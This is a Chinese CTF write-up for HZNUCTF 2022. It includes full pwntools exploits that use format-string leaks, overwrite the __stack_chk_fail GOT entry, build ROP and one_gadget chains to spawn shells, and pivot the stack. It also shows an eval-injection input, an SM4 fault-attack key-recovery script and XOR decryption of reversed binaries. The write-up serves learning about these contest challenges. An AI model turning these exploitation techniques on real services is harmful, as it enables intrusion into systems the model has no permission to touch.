20220409-HZNUCTF

thanks@Anz, fuck@Scr1pt

初赛

Pwn

seer_game

例行查保护

image-20220401165432369

IDA反编译,有个明显的格式化字符串漏洞,而且flag被写到了栈上,但是问题是输入的字符串长度最大为5,这么点根本不够任意地址读写

不过这个问题不大,显然5就是为了%10$s这类的格式化字符串准备的。这样虽然不能任意地址,但是栈上的内容就对于我们不再透明,此外虽然不能直接看到偏移,那么就可以尝试一个一个把栈上的数据都读出来,直到读到flag内容

image-20220401162341374

当然我们也可以调试看看,在print的时候看下栈,还有注意这里是小端序,所以懂的

image-20220401164547508

image-20220401165701684

然后简单写一个exp把栈打印出来可还行,下面这个脚本有个坑,格式化字符串%x打印出来的最多4个字节,因为%x只是%d的十六进制表示罢了,%d是int,也就是4个字节,而程序是64位的,一个地址可以存8字节,而%x只打印了一半。所以要么就%ld %lld,但这里只能输入5个字节,那还可以用%p以指针的形式打印。%p比较靠谱

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

# context.log_level = 'debug'
# io = process("./seer_game")

dict_ = {}
for i in range(1, 100):
io = remote("121.40.181.50", 10002)
payload = b'%' + str(i).encode() + b'$x'
io.sendafter(b">> ", payload)
io.recvuntil(b"His identity is ")
stack_cont = io.recvuntil(b", are")[2:-5].decode()
len_ = len(stack_cont)
try:
dict_.update({i: bytes.fromhex(stack_cont.rjust(len_ % 2 + len_, '0'))[::-1]})
except:
pass
io.close()

for i in dict_:
print(f"{str(i).rjust(2, '0')}:{hex(i * 8)[2:].rjust(4, '0')}| {dict_[i]}")

image-20220401204256702

手动gdb了属于是,看到第10到13行,也就是flag了

wolf_game

知识点

  • hijack __stack__chk_fail新姿势

经典ROP,美团的babyrop再现

题目描述

64位,动态编译,开启了canary和NX保护,提供的libc版本为libc-2.23

image-20220402183749797

IDA反编译逻辑如下

image-20220402183946276

kill

image-20220402184141075

killed

image-20220402184329478

一些gadget

image-20220402192619243

一些one-gadget

image-20220402202247045

分析思路

  • 第一点

    check显然是用C int有符号类型的范围无论是32位还是64位程序都为$[-\frac{2^{32}}{2},\ \frac{2^{32}}{2}-1]$即$[-2147483648,\ 2147483647]$,所以send-2147483648就好,在取反的时候由于int的2147483648就等于-2147483648,check通过

  • 第二点

    kill函数里有一个任意地址写IDA的(void **)什么意思,此外程序不存在后门函数

  • 第三点

    killed函数内部有一个栈溢出,溢出距离感人为24,调试发现刚好只能覆盖到返回地址,而且canary保护是开着的

首先要绕过canary,这里显然不能输出和爆破,联系第二点的任意地址写,一种绕过方法就是劫持__stack__chk_fail,即在检测canary是否被改变时调用的函数。但这里没有后门,并不能劫持__stack__chk_fail直接get shell,所以接下就有2种思路

思路1

谢师傅说如果将__stack__chk_fail的got表改成ret就能绕过canary检测了。现在先假设就算能绕过了canary,但溢出距离实在太短辣,只能控制返回地址。另外在看逻辑的时候,main函数里输入的那个具有足够空间、没有栈溢出的buf肯定会引起一些想法。那么此时就要回想起几个月前的美团,想起谢师傅的教诲

多看看栈,说不定会有宝藏

在main函数输入buf结束之后,buf是会滞留在栈上的(其实这里已经不能说是栈了,因为栈差不多都被弹空了,rsp已经来到了返回地址的位置,main函数的局部变量buf已经在栈底之下),如果将rop做进这里,__stack__chk_fail不是ret,而是pop,把不要的都pop掉直到rsp指向构造的第一句rop。先让我们看下当时的栈的情况:在leave; ret停下,如下图所示AAAAAAAA是输入的killed的buf的最后八个字节,下面那一串4xwi11则是main函数里往buf输入的,可以看到他们之间相隔两行数据,刚好可以用上面的pop r14; pop r15; ret来把它们弹出来,开始执行rop链

image-20220402201014368

然后动调看看绕过canary,栈溢出选择导向到killed

image-20220402193856536

步入__stack__chk_fail,发现qs就直接ret了,并和预想的一样将再次运行killed

image-20220402194133289

所以综上,将__stack__chk_fail的got表填写为0x400b00,就能进行rop,之后泄漏libc base,并再次导向killed,栈溢出导向main的buf,buf那时已经被我们写入了get shell的rop,从而get shell。或者第二次导向kill的时候直接栈溢出到one gadget,都能打成功。或者main函数里不是有exit吗,第一点check的时候,也可以exit_hook

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
# from LibcSearcher import *

context(arch="amd64", os="linux", log_level="debug")

# io = process("./wolf_game")
io = remote("121.40.181.50", 10004)
_elf = ELF("./wolf_game")

# libc = LibcSearcher("read", read_addr)
libc = ELF("./libc-2.23.so")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

stack_chk_fail = _elf.got['__stack_chk_fail']
puts_plt = _elf.plt["puts"]
read_got = _elf.got["read"]
ret_addr = 0x400659
killed_addr = 0x4009D1
pop_rdi = 0x400b03
pop_2 = 0x400b00
# pop_3 = 0x400afe
main_addr = 0x4007F6

# STEP1. pass check
payload1 = b"-2147483648"
io.sendline(payload1)

# STEP2. hijack stack_chk_fail
io.send(p64(stack_chk_fail))
io.send(p64(ret_addr))

# STEP3. ROP chain
payload2 = p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(ret_addr) + p64(killed_addr)
io.sendline(payload2)

# STEP4. ret2main && leak libc_base
payload3 = b'a' * 24 + b"canaryyy" + b"1" * 8 + p64(pop_2)
# gdb.attach(io)
# pause()
io.send(payload3)

read_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
success("read_addr ====> " + hex(read_addr))

# STEP5. get shell
libc_base = read_addr - libc.sym["read"]
system_addr = libc_base + libc.sym["system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\x00"))
success("libc_base ====> " + hex(libc_base))
success("system_addr ====> " + hex(system_addr))
success("bin_sh_addr ====> " + hex(bin_sh_addr))
# repeat
# io.sendline(payload1)
# io.send(p64(stack_chk_fail))
# io.send(p64(ret_addr))
# payload4 = p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr) + p64(ret_addr) + p64(main_addr)

one_gadget = [0x45226, 0x4527a, 0xcd173, 0xcd248, 0xf03a4, 0xf03b0, 0xf1247, 0xf67f0]
payload4 = b'a' * 24 + b"canaryyy" + b"1" * 8 + p64(libc_base + one_gadget[0])
io.send(payload4)
# gdb.attach(io)
# pause()
# io.send(payload3)
io.interactive()

打本地

image-20220401205934049

打远程

image-20220401212037297

思路2

舒哥提供的思路,同样是劫持__stack__chk_fail,这次劫持到pop rdi; ret。再次运行上面的payload,在call __stack_chk_fail步入如下图一所示,此时的栈结构如下图二所示,不看已经不在栈上的内容,而是盯着目前的栈看,rsp此时指向killed函数的leave,下面就是killed的buf——那么如果我们把rop链做到这里呢?

(相比上一条思路,把rop直接写在killed的buf反倒也是我的第一感觉,但后面也不好找栈上的地址,就不好返回

如果killed的buf里写着rop,那么只要能控制rsp执行buf,就可以成功泄漏libc base等之后的一系列操作。rsp因为有leave回会到main函数或者其他我们控制的地址,那么直接把这个leave给pop掉呢?再加上了ret指令就可以让rsp执行rop。而这些同样也可以用劫持__stack_chk_fail来完成,将__stack_chk_fail@got修改为pop rdi; ret这个gadget

image-20220402221609318

image-20220402221801491

动调证明确实如此

后面就用下exit_hook来get shell,exp见下

image-20220402224207391

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
# from LibcSearcher import *

context(arch="amd64", os="linux", log_level="debug")

# io = process("./wolf_game")
io = remote("121.40.181.50", 10004)
_elf = ELF("./wolf_game")

libc = ELF("./libc-2.23.so")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

stack_chk_fail = _elf.got['__stack_chk_fail']
puts_plt = _elf.plt["puts"]
read_got = _elf.got["read"]
ret_addr = 0x400659
kill_addr = 0x400932
killed_addr = 0x4009D1
pop_rdi = 0x400b03
pop_2 = 0x400b00
# pop_3 = 0x400afe
main_addr = 0x4007F6

# STEP1. pass check
payload1 = b"-2147483648"
io.sendline(payload1)

# STEP2. hijack stack_chk_fail
io.send(p64(stack_chk_fail))
io.send(p64(pop_rdi))

io.sendline(b'1')

# STEP3. ROP chain ret2buf && leak libc_base
payload2 = p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(ret_addr) + p64(main_addr) * 2
io.sendline(payload2)

read_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# success("read_addr ====> " + hex(read_addr))
libc_base = read_addr - libc.sym["read"]
success("libc_base ====> " + hex(libc_base))

# repeat
io.sendline(payload1)
# STEP4. exit_hook
dl_rtld_unlock_recursive = libc_base + 0x5f0040 + 3848
io.send(p64(dl_rtld_unlock_recursive))
one_gadget = [0x45226, 0x4527a, 0xcd173, 0xcd248, 0xf03a4, 0xf03b0, 0xf1247, 0xf67f0]
io.send(p64(libc_base + one_gadget[6]))
io.sendline(b'1')
io.sendline(payload2)
# gdb.attach(io)
# pause()
io.sendline(b'100')
io.interactive()

打本地

image-20220401212422562

打远程

image-20220401212852542

思路3(not solve)

还有一种思路也是舒哥提供的,栈迁移,与这道easyR0p挺相像的

bss段如下图所示

image-20220404220611837

看killed的汇编代码,buf是通过rbp来寻址的,这里可以通过修改rbp为任意地址进行任意地址写

比如我们控制rbp为bss段中的某一段地址+buf,就能往bss段中写入rop,然后再次修改rbp指向这段bss,最终执行rop,泄漏libc base,get shell

image-20220404215921421

但是在实际操作的时候还是遇到了问题,把rsp迁移到bss上没问题,开始执行pop rdi如下图一,然后程序就死在了puts(read_got)这里,如下图二。能够溢出的实在太少了,暂时还没能解决

image-20220405184739744

image-20220405185004061

先记下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
# from LibcSearcher import *

context(arch="amd64", os="linux", log_level="debug")

io = process("./wolf_game")
# io = remote("121.40.181.50", 10004)
_elf = ELF("./wolf_game")

# libc = ELF("./libc-2.23.so")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

stack_chk_fail = _elf.got['__stack_chk_fail']
puts_plt = _elf.plt["puts"]
read_got = _elf.got["read"]
ret_addr = 0x400659
kill_addr = 0x400932
killed_addr = 0x4009D1
pop_rdi = 0x400b03
pop_2 = 0x400b00
# pop_3 = 0x400afe
main_addr = 0x4007F6
bss_addr = 0x602080
lea_ret = 0x400930
pop_rbp = 0x400760

# STEP1. pass check
payload1 = b"-2147483648"
io.sendline(payload1)

# STEP2. hijack stack_chk_fail ====> bypass canary
io.send(p64(stack_chk_fail))
io.send(p64(ret_addr))

io.sendline(b'1')

# STEP3.
payload2 = b'A' * 32 + p64(bss_addr + 0x20) + p64(0x400A0B)
gdb.attach(io)
pause()
io.send(payload2)

# STEP4. ROP chain ret2buf && leak libc_base
# pop rbp; rsp = rsp + 8
payload3 = p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(kill_addr) + p64(bss_addr - 8) + p64(lea_ret)
io.send(payload3)

read_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
success("read_addr ====> " + hex(read_addr))
libc_base = read_addr - libc.sym["read"]
success("libc_base ====> " + hex(libc_base))

# STEP5. get shell
dl_rtld_unlock_recursive = libc_base + 0x5f0040 + 3848
io.send(p64(dl_rtld_unlock_recursive))
one_gadget = [0x45226, 0x4527a, 0xcd173, 0xcd248, 0xf03a4, 0xf03b0, 0xf1247, 0xf67f0]
io.send(p64(libc_base + one_gadget[6]))
io.sendline(payload2)

io.sendline(b'100')
io.interactive()

Crypto-ぎんたま9

也没什么好说的,自己记一下

提示也说了是utf-7编码,去年在东华杯的Misc签到第一次遇到,但其实前年的Hackergame就出过,看这位师傅的博客可以学到一些,Fr.https://miaotony.xyz/2020/11/08/CTF_2020Hackergame/#UTF-7-到-UTF-8-转换工具

首先提示是一串md5,在线逆一下提示utf-7

image-20220320161048014

可以用在线的网站,Fr.http://toolswebtop.com/text/process/decode/utf-7

也可以用python2的decode('utf-7')

image-20220320161431686

最后加上base64解码出来的头

1
HZNUCTF{7H3_M3N_W17H_N4TUR41_CUR1Y_H41R_4R3_N7T_B4D_GUY5!}

当然知道原理的还可以,直接解base64

image-20220320163012480

image-20220320163340472

决赛

Crypto

math1

实际做的时候很简单,试一试就知道,把$c$进行摘要得到的就是flag

原理也比较基础,就是下面基本定理的推广
$$
m^{\varphi(n)+1}\equiv m^{(p-1)(q-1)+1}\equiv m\ (mod\ n)\notag
$$
简单证明一下,当$(m,\ n)=1$时,就是欧拉定理;当$(m,\ n)\ne 1$,即$m$是$p$或$q$的倍数时,证明如下

当$m=cp$,$c$是某个正整数时,必然$(m,\ q)=1$,否则$m$就是$q$的倍数,但$m<pq$。则
$$
[m^{\varphi(q)}]^{\varphi(p)}\equiv 1\ (mod\ q))\notag
$$

$$
m^{\varphi(n)}\equiv 1\ (mod\ q)\notag
$$
因此存在某个整数$k$,使得:
$$
m^{\varphi(n)}=1+kq\notag
$$
在等式两边同时乘以$m=cp$,有
$$
m^{\varphi(n)+1}=m+kcpq=m+kcn\notag
$$

$$
m^{\varphi(n)+1}\equiv m\ mod\ n\notag
$$

$m=cq$同理,证毕

而其推论同样成立
$$
m^{k\varphi(n)+1}\equiv m\ (mod\ n)\notag
$$

D4C

一次外面的师傅给我做的题目,出的初衷让大家多认识一个分解手段罢了(cm based factorization),所以过半上了hint,原理我看不懂,学懂的师傅带带我

用github上别人写好的代码,可以分解$n$,Frhttps://github.com/crocs-muni/cm_factorization

1
2
3
4
$ sage cm_factor.sage -N [n] -D 27
$ sage cm_factor.sage -N [n] -D 35
$ sage cm_factor.sage -N [n] -D 43
$ sage cm_factor.sage -N [n] -D 59

然后就可以求出$d$来,后面的就简单了

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from sage import inverse
n =
p =
q =
r =
s =

assert n == p * q * r * s
e = 0x10001
a = int((b'1' * 128 + b'1').hex(), 16)
b = int((b'1' * 128 + b'2').hex(), 16)

phi = (p - 1) * (r - 1) * (q - 1) * (s - 1)
d1 = inverse(e, phi)

a = pow(a, d1, n)
b = pow(b, d1, n)

print(a)
print(b)

tmp_m1 = hex(pow(a, e, n))[2:]
tmp_m2 = hex(pow(b, e, n))[2:]

c1 = bytes.fromhex(tmp_m1.rjust(len(tmp_m1) % 2 + len(tmp_m1), '0'))[:128]
c2 = bytes.fromhex(tmp_m2.rjust(len(tmp_m2) % 2 + len(tmp_m2), '0'))[:128]

c = 74704491809129301431922126387259236131741663134391168615412812966492700892623601405402368087099571730256931303905652832294794514978433001412824232257513564130471734888624376732292892542067962162889981515796044054677065262159718624328379670223847474727251134104982577240172717005612604659753291960218280910803563709374350562828184329134141383582576091714559710119878799025791014527350120986309452179375923692502134903331617253682361593773647861433315490727739213348290415564461418246530360894539160399354008769541101954477775355503410800643258046481902813906228161547282647975966523246407914302640009159
phi = (p - 1) * (r - 1)
d = inverse(e, phi)

print(bytes.fromhex(hex(pow(c, d, p * r))[2:]))

SorM

考察点

  • SM4 DFA(differential fault analysis)

与正常的SM4加解密相比,ecb模式下有有点不同,下面三个参数实现了对SM4 1~32中任意一轮的某一个字节的篡改

  • r0und:第r0und轮
  • r4nd:8位异或对象
  • j:将第r0und轮中的第j个字节与r4nd异或

经典的SM4差分攻击,最便捷的就是注入第32轮的$X_{32}$,从而导致$X_{35}$产生差分,下一步根据差分值恢复第32轮轮密钥

image-20220409123137548

差分值的计算使用论文里的结论

image-20220409123859885

密钥的恢复,每次爆破一个字节,观察上面的图,只要满足下图的关系,就可以作为待选密钥。然后有概率,我这里直接开20次一般都能找对

image-20220409125825786

exp如下(注意:这里是注入第31~28轮,简单点的方法还是如上述所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
from pwn import *
from collections import Counter
from Crypto.Util.number import *
from random import getrandbits
from exploit.blockCipher.mySM4 import *
from base64 import b64encode, b64decode
from itertools import product
from string import ascii_letters, digits

table = ascii_letters + digits

# io = remote('127.0.0.1', 10001)
io = remote('47.96.253.167', 9999)
# io = remote('172.22.236.111', 9996)
context.log_level = 'debug'

ru = lambda s: io.recvuntil(s.encode())
sl = lambda s: io.sendline(s.encode())
sn = lambda s: io.send(s.encode())
rv = lambda: io.recv()
rl = lambda: io.recvline()[:-1].decode()
sla = lambda r, s: io.sendlineafter(r.encode(), s.encode())
sa = lambda r, s: io.sendafter(r.encode(), s.encode())

put_uint32_be = lambda n:[((n>>24)&0xff), ((n>>16)&0xff), ((n>>8)&0xff), ((n)&0xff)]
lotr = lambda x, n:((x >> n) & 0xffffffff) | ((x << (32 - n)) & 0xffffffff)

proof = ru('[+] Plz tell me XXXX: ')
tail = proof[16:32].decode()
_hash = proof[37:101].decode()
for i in product(table, repeat=4):
head = ''.join(i)
t = hashlib.sha256((head + tail).encode()).hexdigest()
if t == _hash:
sl(head)
break

ru('again: ')
ciphertext = rl()
print(ciphertext)


def encrypt(pt):
sla('[-] ', '1')
sla('plz give me plaintext in base64: ', pt)
ru('your ciphertext in base64: ')
return rl()


def encrypt2(pt, r, f, p):
sla('[-] ', '2')
sla('plz give me plaintext in base64: ', pt)
sla("and don't forget to give me your round, rand, j: ", f'{r} {f} {p}')
ru('your ciphertext in base64: ')
return rl()


def decrypt(key):
sla('[-] ', '3')
sla('plz give me ciphertext in base64: ', ciphertext)
sla('plz give me key in base64: ', key)
ru('your plaintext in base64: ')
return rl()


def transform(ct):
ct = b64decode(ct)
ct = [int(_.hex(), 16) for _ in [ct[:4], ct[4:8], ct[8:12], ct[12:]]][::-1]
return ct


def decode_n_rounds(ct, rk):
for _ in rk:
ct = [F([ct[3], ct[0], ct[1], ct[2]], _), ct[0], ct[1], ct[2]]
return ct


def rec_k_frk32_29(kp):
k = [0] * 36
k[32], k[33], k[34], k[35] = kp
for _ in range(31, -1, -1):
k[_] = k[_ + 4] ^ T_1(k[_ + 1] ^ k[_ + 2] ^ k[_ + 3] ^ CK[_])
return [k[0] ^ FK[0], k[1] ^ FK[1], k[2] ^ FK[2], k[3] ^ FK[3]]


payload_pt = b64encode(b'4xwi11').decode()
rk32_29 = []
for r in [30, 29, 28, 27]:
rki = 0
raw_ct = encrypt(payload_pt)
raw_ct = transform(raw_ct)
raw_ct = decode_n_rounds(raw_ct, rk32_29)
for j in range(4):
r_x32, r_x33, r_x34, r_x35 = raw_ct[0], raw_ct[1], raw_ct[2], raw_ct[3]
r_byte = put_uint32_be(r_x32 ^ r_x33 ^ r_x34)[j % 4]

fault_ct = []
for x in range(20):
tmp = transform(encrypt2(payload_pt, r, getrandbits(8), j))
fault_ct.append(decode_n_rounds(tmp, rk32_29))

ios = []
for i in fault_ct:
f_x32, f_x33, f_x34, f_x35 = i[0], i[1], i[2], i[3]
f_byte = put_uint32_be(f_x32 ^ f_x33 ^ f_x34)[j % 4]

b = lotr(put_uint32_be(r_x35 ^ f_x35)[(j - 1) % 4], 2)
ios.append((f_byte, b))

key = Counter()
for xx in range(256):
for f_byte, b in ios:
if box[r_byte ^ xx] ^ box[f_byte ^ xx] == b:
key[xx] += 1
rki = (rki << 8) + key.most_common()[0][0]
rk32_29.append(rki)

rk32_29 = rk32_29[::-1]
key = rec_k_frk32_29(rk32_29)
key = long_to_bytes(key[0])+long_to_bytes(key[1])+long_to_bytes(key[2])+long_to_bytes(key[3])
key = b64encode(key)
print(key.decode())
flag = decrypt(key.decode())
print(b64decode(flag))
io.interactive()

image-20220409113940491

Reference

Misc-Just-Signin

截取自外校师傅给的题,主要逻辑如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def multiply_func(self, x):
self.send(f'value 1: {repr(x)} '.encode())
v = self.recv().decode()
# if len(v) > 8: return
self.send(f'{x} * {v}'.encode())
self.send(str(eval(f'{x} * {v}')).encode())
return eval(f'{x} * {v}')

def handle(self):
# if not self.proof_of_work():
# return
FLAG = open('path').read()

self.send(b"Welcome to the 4XWi11's Arithmetic classroom")
self.send(b"I will give value1, you need to answer value2")
self.send(b"and you need to multiply the two to equal 56")

signal.alarm(5)

for x in [7, 7.77, '77777']:
if self.multiply_func(x) != 56:
self.send(b"wrong!")
return
else:
self.send(b"Correct!")

self.send(b"Congrats! Here is your flag: ")
self.send(FLAG.encode())

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import hashlib
from string import ascii_letters, digits
from pwn import *
from itertools import product

context.log_level = 'debug'
table = ascii_letters + digits


class Solve():
def __init__(self):
# self.sh = remote('127.0.0.1', 10001)
self.sh = remote('47.96.253.167', 9997)

def proof_of_work(self):
# [+] sha256(XXXX+JaakUDSfxkW0xjzV) == 4dbfdc61cb88f5bd08d87493ac62e5ab174780f5f019051f91df8b3c36564ed0
# [+] Plz tell me XXXX:
proof = self.sh.recvuntil(b'[+] Plz tell me XXXX:')
tail = proof[16:32].decode()
_hash = proof[37:101].decode()
for i in product(table, repeat=4):
head = ''.join(i)
t = hashlib.sha256((head + tail).encode()).hexdigest()
if t == _hash:
self.sh.sendline(head.encode())
break

def solve(self):
# self.proof_of_work()
for i in ['8', '100-721', '1-77721']:
self.sh.recv()
self.sh.sendline(i.encode())
self.sh.recvuntil(b'}')


if __name__ == '__main__':
solution = Solve()
solution.solve()

其实还有一层,借用python的help()来get shell

参考https://github.com/SECCON/SECCON2021_online_CTF/blob/main/misc/hitchhike/solver/solver.py

Pwn

hunter_game

知识点

  • scanf的格式化字符串漏洞

64位,只开启了NX保护,能被攻击的代码如下

scanf的格式化字符串漏洞,利用%n$p可以将栈上存放的地址指向读入的任意长的数据,于是就可以往rbp那里写入后门函数的地址

image-20220416155954985

但是这个偏移,搞不懂,在libc2.23下,试出来偏移为7

libc2.27下试了挺久都没试出来

image-20220416161437278

最后的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context.log_level = 'debug'

io = process("./hunter_game")
# io = remote("121.40.181.50", 10000)

bullet = 0x400811
payload = b'%7$s'
io.send(payload)
gdb.attach(io)
pause()
io.sendline(p64(bullet) * 1000)
io.interactive()

image-20220416161757958

repairman

补充上次2021湖湘杯线下赛的game复现,这次着重注意下抬栈的操作

64位栈迁移,开了canary

image-20220416200814911

如下图所示,有system函数,/bin/sh可以在main里输入bss段

canary是最简单的类型

最后有一个距离只够16个字节的栈溢出

image-20220416201002678

按理说知道上面这些,这道简化版的game应该是没问题了

但是,直接往bss段上写下面这段payload攻击失败

1
payload = b"/bin/sh\x00" + p64(pop_rdi_ret) + p64(bss_addr) + p64(system_addr)

动调看看

开始寻找system,没问题

image-20220416201708449

然后程序就死在下张图这里

因为上面这句话使得rsp被压低了,压低了0x3c0,如下图二,应该是为后面_dl_runtime_resolve的正常执行;但是我们毕竟不是正常执行到这里的(rsp还没有准备好),经过这一压低的栈操作,栈顶指针直接被干到了0x601d00,如下图三、四,是不可写的段

这就使得下面这句话无法执行了,从而程序崩溃了

1
2
  0x7fe298037f18 <_dl_runtime_resolve_xsavec+8>     sub    rsp, qword ptr [rip + 0x20de31] <0x7fe298245d50>
► 0x7fe298037f1f <_dl_runtime_resolve_xsavec+15> mov qword ptr [rsp], rax

image-20220416201806633

image-20220416202304527

image-20220416202955204

image-20220416203847116

栈迁移,确实经常遇到这样的问题,不小心跑到没有写权限的段,导致程序崩溃。怎么调整,也很简单,将rsp抬到足够的位置,就算再减,也跑不出0x602000-0x603000的范围,同时还要满足为_dl_runtime_resolve开辟的栈空间。这就可以想到用ret来每次将rsp抬升8字节

经计算,需要0x3c0*2/8=240ret

当然这是本地,远程的小版本可能不一样,要抬得更高

image-20220416212506387

最终的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

# context.log_level = 'debug'

io = remote("121.40.181.50", 10001)
# io = process("./repairman")
system_addr = 0x4006d0
pop_rdi_ret = 0x400be3
bss_addr = 0x6020c0
ret_addr = 0x400679
leave_ret_addr = 0x4009b8

payload1 = b"/bin/sh\x00" + p64(ret_addr) * 0x197 + p64(pop_rdi_ret) + p64(bss_addr) + p64(system_addr)

io.sendline(payload1)

payload2 = b"A" * 40

io.sendline(payload2)
io.recvuntil(b"A" * 40 + b"\n")
canary = u64(io.recv(7).rjust(8, b'\x00'))

print("canary ====>", hex(canary))

payload3 = b"A" * 40 + p64(canary) + p64(bss_addr) + p64(leave_ret_addr)
# gdb.attach(io)
# pause()
io.sendline(payload3)
io.interactive()

image-20220416212811339

Re

fuckoff_easy_code

知识点

  • 花指令

32位exe程序,来到main函数这里,f5反编译不了

image-20220417113212316

看到下图这里

加了一个CTF中典型的花指令

image-20220417113416823

去花指令

0x401116这里按d转成数据

image-20220417113557244

0x401117这里按c转回代码

0x401116给nop掉

image-20220417113729864

然后选中全部mainc

image-20220417114209164

最后在main开头创建函数

image-20220417113859320

然后就能看到逻辑了

是个简单异或,提下数据以获取就好

image-20220417114253520

cao,这个勾吧顺序有点问题。最简单的还是在动调里用lazyida插件将数据以dword的形式提取出来

1
2
3
4
c = [0x0000000C, 0x0000001E, 0x0000000A, 0x00000011, 0x00000007, 0x00000010, 0x00000002, 0x0000001F, 0x00000022, 0x00000008, 0x0000000B, 0x00000033, 0x00000021, 0x00000016, 0x0000003B, 0x00000007, 0x0000002B, 0x00000000, 0x00000001, 0x0000003B, 0x00000001, 0x00000005, 0x00000037, 0x0000001D, 0x00000000, 0x00000000, 0x00000019]
for i in range(len(c)):
print(chr(c[i] ^ 100), end='')

image-20220417121514126

virus

知识点

  • 病毒脱壳

正常做法太长,这里记下非预期的做法

运行程序

打开Scylla,将进程dump下来

image-20220418145356625

然后就可以看逻辑了,也是一个简单异或

image-20220418150814333

1
2
3
c = [38, 52, 32, 59, 45, 58, 40, 53, 61, 127, 35, 30, 34, 43, 17, 56, 2, 28, 59, 61, 17, 58, 60, 127, 45, 37, 51]
for i in c:
print(chr(i ^ 78), end='')

image-20220418151921671